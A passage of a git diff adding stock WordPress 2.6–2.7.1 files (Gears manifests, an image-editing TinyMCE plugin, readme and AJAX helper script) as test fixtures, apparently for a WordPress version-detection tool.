"../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/spellchecker/css/content.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/css/content.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/css/content.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/css/media.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/css/pasteword.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/css/blank.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css?ver=311d" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/wordpress.css?ver=311" }, + +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/icons.gif" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/colorpicker.jpg" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/fm.gif" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/gotmoxie.png" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/sflogo.png" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/tabs.gif" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/progress.gif" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_check.gif" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/drag.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/button.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/flash.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/flv_player.swf" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/quicktime.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/realmedia.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/shockwave.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/windowsmedia.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/img/trans.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/more.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/page.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/img/image.png" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/img/delete.png" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/help.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/image.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/media.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/video.gif" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/audio.gif" } +]} diff --git a/spec/fixtures/wp_versions/2.6/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js b/spec/fixtures/wp_versions/2.6/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js new file mode 100755 index 00000000..7dfeca22 --- /dev/null +++ b/spec/fixtures/wp_versions/2.6/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js @@ -0,0 +1,217 @@ + +(function() { + tinymce.create('tinymce.plugins.wpEditImage', { + + init : function(ed, url) { + var t = this; + + t.url = url; + t._createButtons(); + + // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...'); + ed.addCommand('WP_EditImage', function() { + var el = ed.selection.getNode(); + + if ( ed.dom.getAttrib(el, 'class').indexOf('mceItem') != -1 || el.nodeName != 'IMG' ) + return; + + tb_show('', url + '/editimage.html?ver=311c&TB_iframe=true'); + tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' ); + }); + + ed.onInit.add(function(ed) { + tinymce.dom.Event.add(ed.getWin(), 'scroll', function(e) { + ed.plugins.wpeditimage.hideButtons(); + }); + }); + + ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) { + ed.plugins.wpeditimage.hideButtons(); + }); + + ed.onSaveContent.add(function(ed, o) { + ed.plugins.wpeditimage.hideButtons(); + }); + + ed.onMouseUp.add(function(ed, e) { + if ( tinymce.isOpera ) { + if ( e.target.nodeName == 'IMG' ) + ed.plugins.wpeditimage.showButtons(e.target); + } else if ( ! tinymce.isWebKit ) { + var n = ed.selection.getNode(), DL; + + if ( n.nodeName == 'IMG' && (DL = ed.dom.getParent(n, 'DL')) ) { + window.setTimeout(function(){ + var ed = tinyMCE.activeEditor, n = ed.selection.getNode(), DL = ed.dom.getParent(n, 'DL'); + + if ( n.width != (parseInt(ed.dom.getStyle(DL, 'width')) - 10) ) { + ed.dom.setStyle(DL, 'width', parseInt(n.width)+10); + ed.execCommand('mceRepaint'); + } + }, 100); + } + } + }); + + ed.onMouseDown.add(function(ed, e) { + if ( tinymce.isOpera || e.target.nodeName != 'IMG' ) { + t.hideButtons(); + return; + } + ed.plugins.wpeditimage.showButtons(e.target); + }); + + ed.onKeyPress.add(function(ed, e) { + var DL, DIV; + + if ( e.keyCode == 13 && (DL = ed.dom.getParent(ed.selection.getNode(), 'DL')) ) { + var P = ed.dom.create('p', {}, ' '); + if ( (DIV = DL.parentNode) && DIV.nodeName == 'DIV' ) + ed.dom.insertAfter( P, DIV ); + else ed.dom.insertAfter( P, DL ); + + tinymce.dom.Event.cancel(e); + ed.selection.select(P); + return false; + } + }); + + ed.onBeforeSetContent.add(function(ed, o) { + o.content = t._do_shcode(o.content); + }); + + ed.onPostProcess.add(function(ed, o) { + if (o.get) + o.content = t._get_shcode(o.content); + }); + }, + + _do_shcode : function(co) { + return co.replace(/\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\][\s\u00a0]*/g, function(a,b,c){ + b = b.replace(/\\'|\\'|\\'/g, ''').replace(/\\"|\\"/g, '"'); + c = c.replace(/\\'|\\'/g, ''').replace(/\\"/g, '"'); + var id = b.match(/id=['"]([^'"]+)/i), cls = b.match(/align=['"]([^'"]+)/i); + var w = b.match(/width=['"]([0-9]+)/), cap = b.match(/caption=['"]([^'"]+)/i); + + id = ( id && id[1] ) ? id[1] : ''; + cls = ( cls && cls[1] ) ? cls[1] : 'alignnone'; + w = ( w && w[1] ) ? w[1] : ''; + cap = ( cap && cap[1] ) ? cap[1] : ''; + if ( ! w || ! cap ) return c; + + var div_cls = (cls == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp'; + + return '
'+c+'
'+cap+'
'; + }); + }, + + _get_shcode : function(co) { + return co.replace(/
\s*]+)>\s*]+>([\s\S]+?)<\/dt>\s*]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi, function(a,b,c,cap){ + var id = b.match(/id=['"]([^'"]+)/i), cls = b.match(/class=['"]([^'"]+)/i); + var w = c.match(/width=['"]([0-9]+)/); + + id = ( id && id[1] ) ? id[1] : ''; + cls = ( cls && cls[1] ) ? cls[1] : 'alignnone'; + w = ( w && w[1] ) ? w[1] : ''; + + if ( ! w || ! cap ) return c; + cls = cls.match(/align[^ '"]+/) || 'alignnone'; + cap = cap.replace(/<\S[^<>]*>/gi, '').replace(/'/g, ''').replace(/"/g, '"'); + + return '[caption id="'+id+'" align="'+cls+'" width="'+w+'" caption="'+cap+'"]'+c+'[/caption]'; + }); + }, + + showButtons : function(n) { + var t = this, ed = tinyMCE.activeEditor, p1, p2, vp, DOM = tinymce.DOM, X, Y; + + if (ed.dom.getAttrib(n, 'class').indexOf('mceItem') != -1) + return; + + vp = ed.dom.getViewPort(ed.getWin()); + p1 = DOM.getPos(ed.getContentAreaContainer()); + p2 = ed.dom.getPos(n); + + X = Math.max(p2.x - vp.x, 0) + p1.x; + Y = Math.max(p2.y - vp.y, 0) + p1.y; + + DOM.setStyles('wp_editbtns', { + 'top' : Y+5+'px', + 'left' : X+5+'px', + 'display' : 'block' + }); + + t.btnsTout = window.setTimeout( function(){ed.plugins.wpeditimage.hideButtons();}, 5000 ); + }, + + hideButtons : function() { + if ( tinymce.DOM.isHidden('wp_editbtns') ) return; + + tinymce.DOM.hide('wp_editbtns'); + window.clearTimeout(this.btnsTout); + }, + + _createButtons : function() { + var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM; + + DOM.remove('wp_editbtns'); + + var wp_editbtns = DOM.add(document.body, 'div', { + id : 'wp_editbtns', + style : 'display:none;' + }); + + var wp_editimgbtn = DOM.add('wp_editbtns', 'img', { + src : t.url+'/img/image.png', + id : 'wp_editimgbtn', + width : '24', + height : '24', + title : ed.getLang('wpeditimage.edit_img') + }); + + wp_editimgbtn.onmousedown = function(e) { + var ed = tinyMCE.activeEditor; + ed.windowManager.bookmark = ed.selection.getBookmark('simple'); + ed.execCommand("WP_EditImage"); + this.parentNode.style.display = 'none'; + }; + + var wp_delimgbtn = DOM.add('wp_editbtns', 'img', { + src : t.url+'/img/delete.png', + id : 'wp_delimgbtn', + width : '24', + height : '24', + title : ed.getLang('wpeditimage.del_img') + }); + + wp_delimgbtn.onmousedown = function(e) { + var ed = tinyMCE.activeEditor, el = ed.selection.getNode(), p; + + if ( el.nodeName == 'IMG' && ed.dom.getAttrib(el, 'class').indexOf('mceItem') == -1 ) { + if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') ) + ed.dom.remove(p); + else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 ) + ed.dom.remove(p); + else ed.dom.remove(el); + + this.parentNode.style.display = 'none'; + ed.execCommand('mceRepaint'); + return false; + } + }; + }, + + getInfo : function() { + return { + longname : 'Edit Image', + author : 'WordPress', + authorurl : 'http://wordpress.org', + infourl : '', + version : "1.0" + }; + } + }); + + tinymce.PluginManager.add('wpeditimage', tinymce.plugins.wpEditImage); +})(); diff --git a/spec/fixtures/wp_versions/2.7.1/readme.html b/spec/fixtures/wp_versions/2.7.1/readme.html new file mode 100755 index 00000000..5f8c13df --- /dev/null +++ b/spec/fixtures/wp_versions/2.7.1/readme.html @@ -0,0 +1,91 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 2.7 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory.
  2. +
  3. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
  4. +
  5. Save the file as wp-config.php
  6. +
  7. Upload everything.
  8. +
  9. Open /wp-admin/install.php in your browser. This should setup the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  10. +
  11. Note the password given to you.
  12. +
  13. The install script should then send you to the login page. Sign in with the username admin and the password generated during the installation. You can then click on 'Profile' to change the password.
  14. +
+ +

Upgrading

+

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

+

Upgrading from any previous WordPress to 2.7:

+
    +
  1. Delete your old WP files, saving ones you've modified.
  2. +
  3. Upload the new files.
  4. +
  5. Point your browser to /wp-admin/upgrade.php.
  6. +
  7. You wanted more, perhaps? That's it!
  8. +
+

Template Changes

+

If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, we've created a special guide for you.

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The Development Blog
+
This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

System Recommendations

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.0 or higher.
  • +
  • ... and a link to http://wordpress.org on your site.
  • +
+

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Upgrading from another system

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above.

+ +

XML-RPC and Atom Interface

+

You can now post to your WordPress blog with tools like Windows Live Writer, Ecto, Bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the Blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final notes

+
    +
  • If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the plugin documentation in the Codex. In most all cases you shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

Copyright

+

WordPress is released under the GPL (see license.txt).

+ + + diff --git a/spec/fixtures/wp_versions/2.7.1/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/2.7.1/wp-admin/gears-manifest.php new file mode 100644 index 00000000..bcd2bb6d --- /dev/null +++ b/spec/fixtures/wp_versions/2.7.1/wp-admin/gears-manifest.php @@ -0,0 +1,172 @@ +{ +"betaManifestVersion" : 1, +"version" : "4b51a58d4927f3b7d9212528af2c121c_20081201", +"entries" : [ +{ "url" : "js/common.js?ver=20081210" }, +{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" }, +{ "url" : "../wp-includes/js/quicktags.js?ver=20081210" }, +{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" }, +{ "url" : "js/editor.js?ver=20081129" }, +{ "url" : "../wp-includes/js/prototype.js?ver=1.6" }, +{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20081210" }, +{ "url" : "../wp-includes/js/autosave.js?ver=20081210" }, +{ "url" : "../wp-includes/js/wp-lists.js?ver=20081210" }, +{ "url" : "../wp-includes/js/scriptaculous/wp-scriptaculous.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" }, +{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" }, +{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" }, +{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" }, +{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" }, +{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" }, +{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" }, +{ "url" : "../wp-includes/js/jquery/jquery.hotkeys.js?ver=0.0.2" }, +{ "url" : "../wp-includes/js/jquery/jquery.table-hotkeys.js?ver=20081128" }, +{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20090123" }, +{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.2.0-20081031" }, +{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.2.0-20081031" }, +{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.swfobject.js?ver=2.2.0-20081031" }, +{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.2.0-20081031" }, +{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.2.0-20081201" }, +{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.2c" }, +{ "url" : "../wp-includes/js/jquery/ui.draggable.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/jquery/ui.resizable.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/jquery/ui.dialog.js?ver=1.5.2" }, +{ "url" : "../wp-includes/js/comment-reply.js?ver=20081210" }, +{ "url" : "js/cat.js?ver=20081210" }, +{ "url" : "js/categories.js?ver=20081210" }, +{ "url" : "js/tags.js?ver=20081210" }, +{ "url" : "js/custom-fields.js?ver=20081210" }, +{ "url" : "js/password-strength-meter.js?ver=20081210" }, +{ "url" : "js/edit-comments.js?ver=20081210" }, +{ "url" : "js/users.js?ver=20081210" }, +{ "url" : "js/xfn.js?ver=3517" }, +{ "url" : "js/postbox.js?ver=20081210" }, +{ "url" : "js/slug.js?ver=20081210" }, +{ "url" : "js/post.js?ver=20081210" }, +{ "url" : "js/page.js?ver=20081210" }, +{ "url" : "js/link.js?ver=20081210" }, +{ "url" : "js/comment.js?ver=20081210" }, +{ "url" : "js/gallery.js?ver=20081210" }, +{ "url" : "js/media-upload.js?ver=20081210" }, +{ "url" : "js/widgets.js?ver=20081210" }, +{ "url" : "js/word-count.js?ver=20081210" }, +{ "url" : "js/wp-gears.js?ver=20081210" }, +{ "url" : "js/theme-preview.js?ver=20081210" }, +{ "url" : "js/inline-edit-post.js?ver=20081210" }, +{ "url" : "js/inline-edit-tax.js?ver=20081210" }, +{ "url" : "js/plugin-install.js?ver=20081210" }, +{ "url" : "js/farbtastic.js?ver=1.2" }, +{ "url" : "js/dashboard.js?ver=20081210" }, +{ "url" : "../wp-includes/js/hoverIntent.js?ver=20081210" }, +{ "url" : "wp-admin.css?ver=20081210" }, +{ "url" : "rtl.css?ver=20081210" }, +{ "url" : "css/ie.css?ver=20081210" }, +{ "url" : "css/ie-rtl.css?ver=20081210" }, +{ "url" : "css/colors-classic.css?ver=20081210" }, +{ "url" : "css/colors-classic-rtl.css?ver=20081210" }, +{ "url" : "css/colors-fresh.css?ver=20081210" }, +{ "url" : "css/colors-fresh-rtl.css?ver=20081210" }, +{ "url" : "css/colors-classic.css?ver=20081210" }, +{ "url" : "css/colors-classic-rtl.css?ver=20081210" }, +{ "url" : "css/global.css?ver=20081210" }, +{ "url" : "css/global-rtl.css?ver=20081210" }, +{ "url" : "css/media.css?ver=20081210" }, +{ "url" : "css/media-rtl.css?ver=20081210" }, +{ "url" : "css/widgets.css?ver=20081210" }, +{ "url" : "css/widgets-rtl.css?ver=20081210" }, +{ "url" : "css/dashboard.css?ver=20081210" }, +{ "url" : "css/dashboard-rtl.css?ver=20081210" }, +{ "url" : "css/install.css?ver=20081210" }, +{ "url" : "css/install-rtl.css?ver=20081210" }, +{ "url" : "css/theme-editor.css?ver=20081210" }, +{ "url" : "css/theme-editor-rtl.css?ver=20081210" }, +{ "url" : "css/press-this.css?ver=20081210" }, +{ "url" : "css/press-this-rtl.css?ver=20081210" }, +{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20081210" }, +{ "url" : "css/login.css?ver=20081210" }, +{ "url" : "css/login-rtl.css?ver=20081210" }, +{ "url" : "css/plugin-install.css?ver=20081210" }, +{ "url" : "css/plugin-install-rtl.css?ver=20081210" }, +{ "url" : "css/farbtastic.css?ver=1.2" }, +{ "url" : "css/farbtastic-rtl.css?ver=1.2" }, + +{ "url" : "images/align-center.png" }, +{ "url" : "images/align-left.png" }, +{ "url" : "images/align-none.png" }, +{ "url" : "images/align-right.png" }, +{ "url" : "images/archive-link.png" }, +{ "url" : "images/blue-grad.png" }, +{ "url" : "images/browse-happy.gif" }, +{ "url" : "images/bubble_bg.gif" }, +{ "url" : "images/bubble_bg-rtl.gif" }, +{ "url" : "images/button-grad.png" }, +{ "url" : "images/button-grad-active.png" }, +{ "url" : "images/comment-grey-bubble.png" }, +{ "url" : "images/date-button.gif" }, +{ "url" : "images/ed-bg.gif" }, +{ "url" : "images/fade-butt.png" }, +{ "url" : "images/fav.png" }, +{ "url" : "images/fav-arrow.gif" }, +{ "url" : "images/fav-arrow-rtl.gif" }, +{ "url" : "images/fav-top.png" }, +{ "url" : "images/generic.png" }, +{ "url" : "images/gray-grad.png" }, +{ "url" : "images/icons32.png" }, +{ "url" : "images/icons32-vs.png" }, +{ "url" : "images/list.png" }, +{ "url" : "images/list-vs.png" }, +{ "url" : "images/loading.gif" }, +{ "url" : "images/loading-publish.gif" }, +{ "url" : "images/logo.gif" }, +{ "url" : "images/logo-ghost.png" }, +{ "url" : "images/logo-login.gif" }, +{ "url" : "images/media-button-image.gif" }, +{ "url" : "images/media-button-music.gif" }, +{ "url" : "images/media-button-other.gif" }, +{ "url" : "images/media-button-video.gif" }, +{ "url" : "images/menu.png" }, +{ "url" : "images/menu-vs.png" }, +{ "url" : "images/menu-arrows.gif" }, +{ "url" : "images/menu-bits.gif" }, +{ "url" : "images/menu-bits-rtl.gif" }, +{ "url" : "images/menu-dark.gif" }, +{ "url" : "images/menu-dark-rtl.gif" }, +{ "url" : "images/no.png" }, +{ "url" : "images/required.gif" }, +{ "url" : "images/resize.gif" }, +{ "url" : "images/screen-options-left.gif" }, +{ "url" : "images/screen-options-right.gif" }, +{ "url" : "images/screen-options-right-up.gif" }, +{ "url" : "images/se.png" }, +{ "url" : "images/star.gif" }, +{ "url" : "images/toggle-arrow.gif" }, +{ "url" : "images/toggle-arrow-rtl.gif" }, +{ "url" : "images/white-grad.png" }, +{ "url" : "images/white-grad-active.png" }, +{ "url" : "images/wordpress-logo.png" }, +{ "url" : "images/wp-logo.gif" }, +{ "url" : "images/xit.gif" }, +{ "url" : "images/yes.png" }, + + +{ "url" : "../wp-includes/images/crystal/archive.png" }, +{ "url" : "../wp-includes/images/crystal/audio.png" }, +{ "url" : "../wp-includes/images/crystal/code.png" }, +{ "url" : "../wp-includes/images/crystal/default.png" }, +{ "url" : "../wp-includes/images/crystal/document.png" }, +{ "url" : "../wp-includes/images/crystal/interactive.png" }, +{ "url" : "../wp-includes/images/crystal/text.png" }, +{ "url" : "../wp-includes/images/crystal/video.png" }, +{ "url" : "../wp-includes/images/crystal/spreadsheet.png" }, +{ "url" : "../wp-includes/images/rss.png" }, +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" }, +{ "url" : "../wp-includes/js/thickbox/tb-close.png" } +]} diff --git a/spec/fixtures/wp_versions/2.7.1/wp-includes/js/wp-ajax-response.js b/spec/fixtures/wp_versions/2.7.1/wp-includes/js/wp-ajax-response.js new file mode 100755 index 00000000..d941f217 --- /dev/null +++ b/spec/fixtures/wp_versions/2.7.1/wp-includes/js/wp-ajax-response.js @@ -0,0 +1,60 @@ +var wpAjax = jQuery.extend( { + unserialize: function( s ) { + var r = {}; if ( !s ) { return r; } + var q = s.split('?'); if ( q[1] ) { s = q[1]; } + var pp = s.split('&'); + for ( var i in pp ) { + if ( jQuery.isFunction(pp.hasOwnProperty) && !pp.hasOwnProperty(i) ) { continue; } + var p = pp[i].split('='); + r[p[0]] = p[1]; + } + return r; + }, + parseAjaxResponse: function( x, r, e ) { // 1 = good, 0 = strange (bad data?), -1 = you lack permission + var parsed = {}; + var re = jQuery('#' + r).html(''); + if ( x && typeof x == 'object' && x.getElementsByTagName('wp_ajax') ) { + parsed.responses = []; + parsed.errors = false; + var err = ''; + jQuery('response', x).each( function() { + var th = jQuery(this); + var child = jQuery(this.firstChild); + var response = { action: th.attr('action'), what: child.get(0).nodeName, id: child.attr('id'), oldId: child.attr('old_id'), position: child.attr('position') }; + response.data = jQuery( 'response_data', child ).text(); + response.supplemental = {}; + if ( !jQuery( 'supplemental', child ).children().each( function() { + response.supplemental[this.nodeName] = jQuery(this).text(); + } ).size() ) { response.supplemental = false } + response.errors = []; + if ( !jQuery('wp_error', child).each( function() { + var code = jQuery(this).attr('code'); + var anError = { code: code, message: this.firstChild.nodeValue, data: false }; + var errorData = jQuery('wp_error_data[code="' + code + '"]', x); + if ( errorData ) { anError.data = errorData.get(); } + var formField = jQuery( 'form-field', errorData ).text(); + if ( formField ) { code = formField; } + if ( e ) { wpAjax.invalidateForm( jQuery('#' + e + ' :input[name="' + code + '"]' ).parents('.form-field:first') ); } + err += '

' + anError.message + '

'; + response.errors.push( anError ); + parsed.errors = true; + } ).size() ) { response.errors = false; } + parsed.responses.push( response ); + } ); + if ( err.length ) { re.html( '
' + err + '
' ); } + return parsed; + } + if ( isNaN(x) ) { return !re.html('

' + x + '

'); } + x = parseInt(x,10); + if ( -1 == x ) { return !re.html('

' + wpAjax.noPerm + '

'); } + else if ( 0 === x ) { return !re.html('

' + wpAjax.broken + '

'); } + return true; + }, + invalidateForm: function ( selector ) { + return jQuery( selector ).addClass( 'form-invalid' ).change( function() { jQuery(this).removeClass( 'form-invalid' ); } ); + }, + validateForm: function( selector ) { + selector = jQuery( selector ); + return !wpAjax.invalidateForm( selector.find('.form-required').andSelf().filter('.form-required:has(:input[value=""]), .form-required:input[value=""]') ).size(); + } +}, wpAjax || { noPerm: 'You do not have permission to do that.', broken: 'An unidentified error has occurred.' } ); diff --git a/spec/fixtures/wp_versions/2.7/readme.html b/spec/fixtures/wp_versions/2.7/readme.html new file mode 100755 index 00000000..5f8c13df --- /dev/null +++ b/spec/fixtures/wp_versions/2.7/readme.html @@ -0,0 +1,91 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 2.7 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory.
  2. +
  3. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
  4. +
  5. Save the file as wp-config.php
  6. +
  7. Upload everything.
  8. +
  9. Open /wp-admin/install.php in your browser. This should setup the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  10. +
  11. Note the password given to you.
  12. +
  13. The install script should then send you to the login page. Sign in with the username admin and the password generated during the installation. You can then click on 'Profile' to change the password.
  14. +
+ +

Upgrading

+

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

+

Upgrading from any previous WordPress to 2.7:

+
    +
  1. Delete your old WP files, saving ones you've modified.
  2. +
  3. Upload the new files.
  4. +
  5. Point your browser to /wp-admin/upgrade.php.
  6. +
  7. You wanted more, perhaps? That's it!
  8. +
+

Template Changes

+

If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, we've created a special guide for you.

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The Development Blog
+
This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
